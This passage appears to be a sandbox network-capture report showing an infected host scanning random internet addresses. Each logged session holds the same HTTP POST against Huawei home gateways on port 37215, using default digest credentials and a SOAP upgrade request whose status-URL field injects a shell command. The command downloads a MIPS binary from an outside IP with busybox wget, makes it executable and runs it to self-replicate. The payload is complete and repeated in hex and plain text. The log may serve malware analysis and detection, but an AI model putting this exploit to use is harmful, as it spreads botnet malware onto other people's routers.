2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.13	59968	157.184.88.81	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023269892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.13	45336	197.36.237.89	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023269892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.13	35012	157.24.52.3	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023269892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.13	42570	181.77.179.109	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023269892 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.13	52376	138.35.105.236	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023355961 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.13	38738	157.200.38.194	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023355961 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.13	45584	157.219.233.88	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023399115 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.13	36856	197.84.11.202	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023732901 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.13	54504	203.131.164.121	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023732901 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.13	49566	197.75.184.178	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:59.023732901 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.13	34082	25.100.29.220	37215

Timestamp	Bytes transferred	Direction	Data
